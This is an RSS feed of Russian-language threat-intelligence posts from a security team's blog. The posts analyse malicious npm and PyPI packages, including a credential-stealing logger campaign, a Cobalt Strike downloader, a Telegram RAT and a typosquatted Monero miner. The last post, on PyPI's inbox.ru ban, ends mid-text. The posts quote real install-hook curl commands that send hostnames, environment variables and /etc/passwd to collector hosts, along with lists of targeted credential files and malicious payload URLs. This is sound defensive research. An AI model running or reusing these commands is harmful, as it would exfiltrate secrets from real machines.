<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>pyanalysis &#8211; PT ESC</title>
	<atom:link href="/tag/pyanalysis/feed/index.xml" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description></description>
	<lastBuildDate>Mon, 05 Oct 2026 10:48:40 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.3</generator>

<image>
	<url>/wp-content/uploads/2026/09/cropped-cropped-large_icon-32x32.png</url>
	<title>pyanalysis &#8211; PT ESC</title>
	<link>/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Библиотека-логгер и инфостилер в придачу? Спасибо, не надо</title>
		<link>/a-logger-library-with-an-infostealer-thrown-in-no-thanks/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 07 Apr 2026 16:41:24 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[npm]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b1%d0%b8%d0%b1%d0%bb%d0%b8%d0%be%d1%82%d0%b5%d0%ba%d0%b0-%d0%bb%d0%be%d0%b3%d0%b3%d0%b5%d1%80-%d0%b8-%d0%b8%d0%bd%d1%84%d0%be%d1%81%d1%82%d0%b8%d0%bb%d0%b5%d1%80-%d0%b2-%d0%bf%d1%80%d0%b8%d0%b4/</guid>

					<description><![CDATA[Библиотека-логгер и инфостилер в придачу? Спасибо, не надо 👋 За последнее время произошло немало событий. Например, кто-то решил поиграть в меценатство и опубликовал 30 релизов с именами NPM-библиотек для логирования: • @logcore/pino-pretty-logger…]]></description>
										<content:encoded><![CDATA[<strong>Библиотека-логгер и инфостилер в придачу? Спасибо, не надо</strong> 👋<br />
<br />
За последнее время произошло немало событий. Например, кто-то решил поиграть в меценатство и опубликовал 30 релизов с именами NPM-библиотек для логирования:<br />
<br />
• <code>@logcore/pino-pretty-logger</code><br />
• <code>console-loggers
</code>• <code>jellyfi-pino-pretty-logger</code><br />
• j<code>onas-prettier-logger</code><br />
• <code>logger-beauty</code><br />
• <code>pino-logger-utils</code><br />
• <code>pino-pretty-log</code><br />
• <code>pino-pretty-logger</code><br />
• <code>pretty-pino-logger</code><br />
• <code>pretty-ts-logger</code><br />
• <code>ts-moduler</code><br />
• <code>wrapped-logger-utils</code><br />
<br />
Это не просто спам-кампания: эти библиотеки несут в себе инфостилер и бэкдор.<br />
<br />
Нам даже удалось в этот раз кому-то уступить в борьбе за звание «самая быстрая рука на диком опенсорсе» — первыми зарепортили лишь 5 из 12 пакетов 🥺<br />
<br />
Кампания использует обфускацию. Изначально злоумышленник защищал только имена переменных, но затем стал XOR-ить строки (<em>скриншоты 1, 2</em>).<br />
<br />
<strong>Вредоносная логика активируется во время импорта библиотеки:</strong><br />
<br />
1️⃣Определение ОС жертвы и сбор базовой информации о системе (IP-адрес сетевого устройства, имя пользователя).<br />
<br />
2️⃣Параллельное выполнение двух задач:<br />
<br />
🔗Быстрая кража: отправление на сервер злоумышленника файла <code>.env</code>, если он есть в текущей рабочей директории.<br />
<br />
🔗Обход домашней директории в поисках файлов с расширениями <code>.env</code> / <code>.json</code>. В коде есть небольшая оптимизация — при обходе будут пропущены следующие папки:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">'node_modules', 'Library', 'System', 'Windows', 'Program Files', 'ProgramData',
'build', 'dist', 'out', 'output', 'release', 'bin', 'obj', 'Debug', 'Release',
'target', 'target2', 'public', 'private', 'tmp', 'temp', 'var', 'cache', 'log',
'logs', 'sample', 'samples',
'assets', 'media', 'fonts', 'icons', 'images', 'img', 'static', 'resources', 'audio', 'videos', 'video', 'music',
'svn', 'cvs', 'hg', 'mercurial', 'registry',
'__MACOSX', 'vscode', 'eslint', 'prettier', 'yarn', 'pnpm', 'next',
'pkg', 'move', 'rustup', 'toolchains',
'migrations', 'snapshots', 'ssh', 'socket.io', 'svelte-kit', 'vite',
'coverage', 'history', 'terraform'</code></span></pre><br />
<br />
Пользователям Linux особенно не повезет: им в <code>~/.ssh/authorized_keys</code> закинут новый публичный SSH-ключ. При работающем сервисе sshd и разрешении использовать ssh-ключ для текущего пользователя позволит злоумышленнику подключаться к устройству 😍<br />
<br />
Под Windows помимо обхода домашней директории стилер пройдется по всем подключенным дискам.<br />
<br />
3️⃣Отправка всех собранных данных на сервер злоумышленника.<br />
<br />
———<br />
<br />
В версиях пакета, где применяется более продвинутая обфускация, злоумышленник уточняет, какие конкретно файлы ему нужны:<br />
<br />
<pre class="wp-block-code"><span><code lang="javascript" class="hljs language-javascript language-javascript"><span class="hljs-keyword">const</span> ENV_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;
    <span class="hljs-string">'.env'</span>, <span class="hljs-string">'.env.local'</span>, <span class="hljs-string">'.env.production'</span>, <span class="hljs-string">'.env.development'</span>,
    <span class="hljs-string">'.config'</span>, <span class="hljs-string">'.npmrc'</span>, <span class="hljs-string">'.pypirc'</span>, <span class="hljs-string">'.git-credentials'</span>, <span class="hljs-string">'wallet.dat'</span>, <span class="hljs-string">'id.json'</span>, <span class="hljs-string">'key.json'</span>, <span class="hljs-string">'keystore/*.json'</span>,
]);
<span class="hljs-keyword">const</span> JSON_LIKE_FILES = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(&#91;<span class="hljs-string">'config.json'</span>, <span class="hljs-string">'settings.json'</span>, <span class="hljs-string">'secrets.json'</span>]);</code></span></pre><br />
<br />
Вероятно, это связано с большим количеством мусора при сборе всех json-файлов.<br />
<br />
Также добавилась кража директории <code>tdata</code>, содержащей данные сессии Telegram 🤢<br />
<br />
———<br />
<br />
Дежурное напоминание: не ослабляйте бдительность при работе с опенсорс-проектами 😑<br />
<br />
<span class="hashtag">#npm</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)

<figure class="wp-block-image"><img width="1024" height="1024" src="/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1024x1024.jpg 1024w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-300x300.jpg 300w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-150x150.jpg 150w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-768x768.jpg 768w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-1536x1536.jpg 1536w, /wp-content/uploads/2026/04/photo_534@07-04-2026_16-41-24-2048x2048.jpg 2048w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Необычная обфускация — это всегда красиво&#8230;</title>
		<link>/unusual-obfuscation-is-always-beautiful/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Wed, 11 Mar 2026 13:02:42 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%bd%d0%b5%d0%be%d0%b1%d1%8b%d1%87%d0%bd%d0%b0%d1%8f-%d0%be%d0%b1%d1%84%d1%83%d1%81%d0%ba%d0%b0%d1%86%d0%b8%d1%8f-%d1%8d%d1%82%d0%be-%d0%b2%d1%81%d0%b5%d0%b3%d0%b4%d0%b0-%d0%ba%d1%80%d0%b0/</guid>

					<description><![CDATA[Необычная обфускация — это всегда красиво&#8230; 🥰 &#8230; жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF). Одна из задач злоумышленника…]]></description>
										<content:encoded><![CDATA[<p><strong>Необычная обфускация — это всегда красиво&#8230; </strong><strong>🥰</strong></p>
<p>&#8230; жаль, что ее приходится видеть в троянистых опенсорс-пакетах, а не только на соревнованиях по информационной безопасности Capture The Flag (CTF).</p>
<p>Одна из задач злоумышленника — сделать вредоносный пакет, который выглядит легитимным. Это позволит дольше избегать обнаружения.</p>
<p>Мы заметили интересную PyPI-кампанию, в которую входит библиотека <code>requests-ml-min</code> за авторством <code>scott.fitzgerald</code>. В ней всего шесть Python-файлов:</p>
<p>1️⃣ <code>setup.py</code>. Есть исполнение <code>ModelInstall</code> в момент установки, но это не криминал: есть много проектов, которые что-то доустанавливают или компилируют на этом этапе.</p>
<p>2️⃣ <code>tests/test_pnotify.py</code>. Ничего необычного.</p>
<p>3️⃣ <code>tests/test_utils.py</code>. Ничего необычного.</p>
<p>4️⃣ r<code>esource/resource.py</code> (<em>скриншот 1</em>). Содержит массив из 145 идентификаторов UUID и функцию конкатенации&#8230; 🤪 Оригинально, попытка засчитана 🙂</p>
<p>5️⃣ <code>src/audit/perf.py</code> (<em>скриншот 2</em>). Сбор информации о системе, упаковка в base64, отправка. 👍 Десять детектов на стилерский сбор информации о системе из десяти.</p>
<p>6️⃣ s<code>rc/utils/utils.py</code> (<em>скриншот 3</em>). Реализует функции-хелперы. Строки обфусцированы через массивы ASCII-кодов&#8230; 🏃‍♀️ Мы решаем CTF-таск reverse за 100?</p>
<p><strong>О файле </strong><code>resource/resource.py</code></p>
<p>За обфускацией скрывается красивый downloader + process injector. Красивый потому, что скачиваемый файл, являющийся шеллкодом, расположен по следующему URI:</p>
<p><code>https://storage.googleapis.com/py-pi/python_win</code></p>
<p>Шеллкод будет инжектирован в отдельно для него запущенный процесс <code>werfault.exe</code>. Нагрузка представляет собой загрузчик Cobalt Strike.</p>
<p><strong>Действия PyPI-пакета в процессе установки:</strong></p>
<p>🤔 Соберет информацию о системе (<em>скриншот 2)</em>.</p>
<p>🤔 Отправит ее на <code>https://us-central1-bucket-438814.cloudfunctions.net/ping/api/v1/ping</code><br />
 (к слову, еще один красивый URI).</p>
<p>🤔 Убедится, что жертва находится в белом списке. Для этого она получит домен жертвы, захэширует его алгоритмом SHA-256 и убедится, что хэш соответствует одному из семи ожидаемых. Это хороший метод антианализа, ведь он затрудняет работу исследователей 🙂</p>
<p>🤔 Если жертва находится в белом списке, то запустит нагрузку с Cobalt Strike.</p>
<p>Занятно, что код позволяет подготовить нагрузку под Windows, Linux и macOS, однако автор добавил только вариант для Windows.</p>
<p><strong>Нам удалось подобрать исходный текст для четырех из семи хэшей:</strong><br />
🌟<code>desktop</code><br />
🌟<code>abd.local</code><br />
🌟<code>exttest.local</code><br />
🌟<code>extprod.local</code></p>
<p>Свои догадки о природе этих доменов можете оставлять в комментариях 🤨</p>
<p>Учитывая, каким списком целей ограничивает себя библиотека, это может быть пентест или багбаунти. По крайней мере, будем на это надеяться — такую красивую библиотеку не так часто можно встретить.</p>
<p><span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a> (<a href="https://x.com/ptescalator" rel="noopener" target="_blank">X,</a> <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">Max</a>)</p>
<figure class="wp-block-image"><img width="1024" height="892" src="/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-1024x892.jpg 1024w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-300x261.jpg 300w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42-768x669.jpg 768w, /wp-content/uploads/2026/03/photo_519@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
<figure class="wp-block-image"><img width="1024" height="945" src="/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-1024x945.jpg 1024w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-300x277.jpg 300w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42-768x709.jpg 768w, /wp-content/uploads/2026/03/photo_520@11-03-2026_13-02-42.jpg 1277w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>pip install teligram</title>
		<link>/pip-install-teligram/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 10 Feb 2026 14:36:18 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/pip-install-teligram/</guid>

					<description><![CDATA[pip install teligram 🧐 (лучше не запускайте) Восьмого февраля была опубликована библиотека teligram. Ее описание гласит: Telegram-based friendly library. Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена…]]></description>
										<content:encoded><![CDATA[<strong>pip install teligram</strong> 🧐 <span class="spoiler">(лучше не запускайте)</span><br />
<br />
Восьмого февраля была опубликована библиотека <code>teligram</code>.<br />
<br />
Ее описание гласит: <code>Telegram-based friendly library</code>.<br />
<br />
Увы, как обычно у нас в постах, чудес не бывает — библиотека представлена самописным Remote Access Tool (RAT).<br />
<br />
<strong>Его особенности:</strong><br />
<br />
• Есть следы использования LLM.<br />
<br />
• Содержит в себе одну большую функцию <code>khelo</code>, в которой реализованы 16 подфункций.<br />
<br />
• Присутствуют следы индийского языка (<code>khelo</code> переводится как «играть»; выбранное имя разработчика <code>Om Devendra</code> — индийское).<br />
<br />
• Код не обфусцирован, и приветствие бота, отправляемое при использовании команд <code>/help</code> и <code>/start</code> администратором, отражает возможности:<br />
<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">Available commands:
pwd - Show current directory
ls or ls -la - List files
cd &lt;directory&gt; - Change directory
whoami - Show current user
date - Show date and time

TAKE COMMANDS:
1. take &lt;number&gt; - Get the nth file
   Example: take 1

2. take &lt;file_name&gt; - Get file by name
   Example: take myfile.txt

3. take .&lt;extension&gt; - Get all files with extension
   Example: take .jpg or take .py

4. take all - Get ALL non-empty files

5. /send - Upload files to current directory

Special features:
- Working directory saved between commands
- Empty files automatically skipped</code></span></pre><br />
<br />
Версия 1.0.0 не обладает функционалом запуска после установки. Остальные версии не успели выйти — пакет был отправлен в карантин, хотя и просуществовал 19 часов.<br />
<br />
💬 К слову, читать ESCalator <a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">можно теперь и в MAX</a><a href="https://max.ru/join/V8dhsWy0FytLHcY_2m9KM99gsnBlr0v5RxOZFTOClho" rel="noopener" target="_blank">.</a> И это не скам.<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Город празднует, просыпается мафия</title>
		<link>/the-city-celebrates-the-mafia-awakens/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 19 Jan 2026 15:05:12 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d0%b3%d0%be%d1%80%d0%be%d0%b4-%d0%bf%d1%80%d0%b0%d0%b7%d0%b4%d0%bd%d1%83%d0%b5%d1%82-%d0%bf%d1%80%d0%be%d1%81%d1%8b%d0%bf%d0%b0%d0%b5%d1%82%d1%81%d1%8f-%d0%bc%d0%b0%d1%84%d0%b8%d1%8f/</guid>

					<description><![CDATA[Город празднует, просыпается мафия 🥰 За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. Злоумышленники в PyPI ленятся. Мы расскажем о маленькой…]]></description>
										<content:encoded><![CDATA[<strong>Город празднует, просыпается мафия </strong><strong>🥰</strong><br />
<br />
За период с 1 по 11 января в экосистеме NPM было удалено ~180 вредоносных пакетов, в PyPI — 16. <s>Злоумышленники в PyPI ленятся</s>. Мы расскажем о маленькой новогодней магии в рамках одного PyPI-пакета.<br />
<br />
Пользователь <code>ambertransit</code> 4 января опубликовал проект <code>aiihttp</code>, название которого мимикрирует под http-клиент <code>aiohttp</code>.<br />
<br />
Начинается код простой обфускацией:<br />
<br />
<pre class="wp-block-code"><span><code lang="python" class="hljs language-python language-python"><span class="hljs-keyword">import</span> base64

exec(base64.b64decode(<span class="hljs-string">'aW1wb3J0IGl...'</span>)</code></span></pre><br />
<br />
Логика, сокрытая за base64, представлена на первом скриншоте. Из ключевого:<br />
<br />
<strong>•</strong> Пакет по-джентельменски помогает опечатавшемуся разработчику: удаляет себя, устанавливает <code>aiohttp</code> [п.1 на скр. 1], после чего перезагружает модуль, если он уже был импортирован [2].<br />
<br />
<strong>•</strong> Следующий стейдж находится на GitHub [3]. Однако все не так просто — он зашифрован XOR-ом длиной 32 символа [4]. Для ключа используется алфавит <code>[a-f0-9]{32}</code>, который по формату походит на MD5, но дополнительного смысла мы за этим не нашли.<br />
<br />
<strong>•</strong> Закрепление в системе происходит через реестр [5]. Стейдж отработает при следующем входе пользователя в систему.<br />
<br />
Учетная запись GitHub активна и заливает вредоносы с мая 2024. Использование XOR, даже с ключом длиной 32 байта, без режима сцепления блоков шифротекста делает исполняемые файлы не такими уж и защищенными 😁 (на втором скриншоте — скачиваемый вредоносным кодом блоб). Такая же картина наблюдается и к концу файла, тоже богатому нулевыми байтами.<br />
<br />
Исполняемым файлом является майнер для криптовалюты Monero. В результате кампании злоумышленнику удалось намайнить 15,7 <span class="spoiler">(не миллионов)</span> рублей 🤑<br />
<br />
Будьте осторожны в опенсорсе, это плодородная почва для действий злоумышленников 😼

<figure class="wp-block-image"><img width="1024" height="862" src="/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg" class="attachment-large size-large" alt="" decoding="async" loading="lazy" srcset="/wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-1024x862.jpg 1024w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-300x252.jpg 300w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12-768x646.jpg 768w, /wp-content/uploads/2026/01/photo_479@19-01-2026_15-05-12.jpg 1280w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>

<br />
<br />
<span class="hashtag">#pypi</span> <span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Node JS. Вредоносная активность на стадии установки</title>
		<link>/node-js-malicious-activity-at-the-installation-stage/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Tue, 29 Jul 2025 17:58:09 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/node-js-%d0%b2%d1%80%d0%b5%d0%b4%d0%be%d0%bd%d0%be%d1%81%d0%bd%d0%b0%d1%8f-%d0%b0%d0%ba%d1%82%d0%b8%d0%b2%d0%bd%d0%be%d1%81%d1%82%d1%8c-%d0%bd%d0%b0-%d1%81%d1%82%d0%b0%d0%b4%d0%b8%d0%b8-%d1%83%d1%81/</guid>

					<description><![CDATA[Node JS. Вредоносная активность на стадии установки В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление. В пакетах JavaScript существует…]]></description>
										<content:encoded><![CDATA[<strong>Node JS. Вредоносная активность на стадии установки</strong><br />
<br />
В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.<br />
<br />
В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле <code>package.json</code> в секции <code>scripts</code>:<br />
<br />
<pre class="wp-block-code"><span><code lang="json" class="hljs language-json language-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"&lt;from-ptescalator-with-love&gt;"</span>,
  <span class="hljs-attr">"version"</span>: <span class="hljs-string">"1.0.0"</span>,
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"Example config of package.json for demonstration-purposes"</span>,
  <span class="hljs-attr">"main"</span>: <span class="hljs-string">"hello.js"</span>,
  <span class="hljs-attr">"scripts"</span>: {
    <span class="hljs-attr">"preinstall"</span>: <span class="hljs-string">"echo \"I will be run at pre-install stage\""</span>,
    <span class="hljs-attr">"install"</span>: <span class="hljs-string">"echo \"I will be run at install stage\""</span>,
    <span class="hljs-attr">"postinstall"</span>: <span class="hljs-string">"echo \"I will be run at post-install stage\""</span>
  }
}
</code></span></pre><br />
<br />
Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎<br />
<br />
Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:<br />
<br />
🫥 Запустить js-код<br />
<br />
<code>atlas-websocket@33.9.9</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node index.js
</code></span></pre><br />
<br />
<code>wokes@1.0.0</code>, postinstall:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">node cli/setup-security.js
</code></span></pre><br />
<br />
🫥 Исполнить команду системным интерпретатором:<br />
<br />
<code>autogestion-aprendizaje@1.0.4</code>, preinstall, передача <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"No tests"</span> &amp;&amp; curl <span class="hljs-string">"http://&#91;REDACTED].net/?NPM=<span class="hljs-variable">$(hostname)</span>&amp;&lt;template&gt;"</span>
</code></span></pre><br />
<br />
<code>bsee-shared-hmd@1.0.6</code>, preinstall, кража <code>/etc/passwd</code> и получение <code>hostname</code>:<br />
<pre class="wp-block-code"><span><code lang="plaintext" class="hljs language-plaintext language-plaintext">sh -c 'curl -X POST -d "user=$(whoami)&amp;host=$(hostname)&amp;passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/&#91;REDACTED]'
</code></span></pre><br />
<code>
storyblok-rich-text-astro-renderer-workspace@99.99.99</code>, postinstall, кража переменных окружения:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl -X POST https://&#91;REDACTED].oastify.com --data <span class="hljs-string">"<span class="hljs-variable">$(env)</span>"</span>
</code></span></pre><br />
<code>
arkoselabs@99.9.13</code>, preinstall, кража переменных окружения, <code>/etc/passwd</code>, <code>hostname</code> и имени пользователя:<br />
<pre class="wp-block-code"><span><code lang="bash" class="hljs language-bash language-bash">curl --data-urlencode <span class="hljs-string">"info=<span class="hljs-variable">$(hostname &amp;&amp; whoami &amp;&amp; cat /proc/self/environ &amp;&amp; cat /etc/passwd)</span>"</span> http://&#91;REDACTED].oast.me<span class="hljs-string">"
</span></code></span></pre><br />
<br />
<s>Если пост соберет 1000 сердечек</s>🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.<br />
<br />
<span class="hashtag">#ti</span> <span class="hashtag">#scs</span> <span class="hashtag">#pyanalysis</span><br />
<a href="https://t.me/ptescalator" rel="noopener" target="_blank">@ptescalator</a>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Страсти вокруг PyPI: 🪰⮕🐘?</title>
		<link>/passions-around-pypi/</link>
		
		<dc:creator><![CDATA[ti_author]]></dc:creator>
		<pubDate>Mon, 21 Jul 2025 15:26:04 +0000</pubDate>
				<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[pyanalysis]]></category>
		<category><![CDATA[pypi]]></category>
		<category><![CDATA[scs]]></category>
		<category><![CDATA[TI]]></category>
		<guid isPermaLink="false">http://localhost:8080/%d1%81%d1%82%d1%80%d0%b0%d1%81%d1%82%d0%b8-%d0%b2%d0%be%d0%ba%d1%80%d1%83%d0%b3-pypi-%f0%9f%aa%b0%e2%ae%95%f0%9f%90%98/</guid>

					<description><![CDATA[Страсти вокруг PyPI: 🪰⮕🐘? На прошлой неделе CNews выпустили новость: &#8220;Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные&#8220;. В ней выясняется, что Python Package Index (PyPI),…]]></description>
										<content:encoded><![CDATA[<strong>Страсти вокруг PyPI: 🪰⮕🐘?</strong>

На прошлой неделе CNews выпустили новость: &#8220;<a href="https://zoom.cnews.ru/soft/news/line/2025-07-17_rossiyan_pognali_iz_soobshchestva" target="_blank" rel="noopener">Россиян погнали из сообщества Python. Пока только избранных, но критерии отбора до предела странные</a>&#8220;. В ней выясняется, что Python Package Index (PyPI), крупнейшее хранилище пакетов Python, запретила регистрацию новых пользователей с указанием почты на домене <a href="http://inbox.ru" target="_blank" rel="noopener">inbox.ru</a>.
<blockquote>В официальном заявлении сказано, что с почтовых ящиков inbox.ru пришла волна спама – пользователи с такой почтой создали 250 профилей и добавили к ним свыше полутора тысяч проектов, которые якобы «обманывают пользователей и представляют угрозу безопасности» (leading to end-user confusion, abuse of resources, and potential security issues).</blockquote>
Блокировка россиян в различных комьюнити — животрепещущая тема. Её процитировали и другие издания.
<a href="https://t.me/banksta/74708" target="_blank" rel="noopener">
@banksta</a>:
<blockquote>Россиян изгоняют из сообщества программистов Python. Им запретили пользоваться репозиторием PyPI с пакетами для Python. Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inboxru и тех, кто хочет добавить такую почту в уже существующий профиль. Домен принадлежит Mailru.</blockquote>
<a href="https://t.me/imaxairu/17131" target="_blank" rel="noopener">@imaxairu</a>:
<blockquote>Россиянам запретили пользоваться репозиторием PyPI с пакетами для Python

Ограничения коснулись только тех, кто создает новый аккаунт с привязкой почты на inbox .ru и тех, кто хочет добавить такую почту в уже существующий профиль

Домен принадлежит Mail .ru. На другие домены компании лимиты пока не распространяются</blockquote>
Команда Supply Chain Security активно сотрудничает с PyPI в области обнаружения троянов. Мы решили провалидировать, были ли действия администрации репозитория обоснованными.

<strong>Даём оценку официальным заявлениям</strong>

CNews ссылаются <a href="https://blog.pypi.org/posts/2025-06-15-prohibiting-inbox-ru-emails/" target="_blank" rel="noopener">на статью в блоге PyPI</a>, выпущенную 15 июля 2025. В ней говорится, что, руководствуясь практикой блокировки мусорных почтовых доменов, они закрывают регистрацию новых пользователей в Python Package Index с использованием почты на домене <code>inbox.ru</code>.

Схожее решение администрация PyPI <a href="https://blog.pypi.org/posts/2024-06-16-prohibiting-msn-emails/" target="_blank" rel="noopener">выносила и год назад</a>, 16 июня 2024, в отношении доменов <code>outlook.com</code> и <code>hotmail.com</code> (принадлежат Microsoft) — они стали излюбленным решением для злоумышленников из-за простоты массовой регистрации доменов.

Следует уточнить, что для скачивания пакетов не требуется регистрация. Учётная запись нужна для публикации своих проектов.

PyPI приводит статистику:

<pre class="wp-block-code"><span><code class="hljs language-plaintext">9 июня: появилась первая учётная запись кампании.
11 июня: за 3 часа было создано 46 учётных записей.
24 июня: за 4 часа было создано 207 учётных записей.
С 26 июня по 7 июля ими было создано 1525 проектов:
2025-06-26  9
2025-06-27  295
2025-06-28  39
2025-06-29  119
2025-06-30  740
2025-07-01  249
2025-07-02  46
2025-07-10  16
2025-07-11  12</code></span></pre>

По нашему мнению не существует легитимного сценария, в котором одному пользователю потребуется столько учёток. Создавать большое количество проектов имеет смысл в борьбе с неймсквоттингом (<a href="https://t.me/disasm_me_ch/447" target="_blank" rel="noopener">на примере Яндекса</a>), но для этого достаточно и одной учётки.

Обращаем внимание на последний абзац поста на PyPI (ниже перевод):
<blockquote>Надеемся, что мы сможем отменить это решение в будущем, когда будем более уверены в способности этого провайдера электронной почты предотвращать злоупотребления. Если вы работаете в этом провайдере, пожалуйста, напишите нам по адресу security@pypi.org, чтобы обсудить это решение.</blockquote>
Давайте разберемся с кампанией.

<strong>Характер кампании</strong>

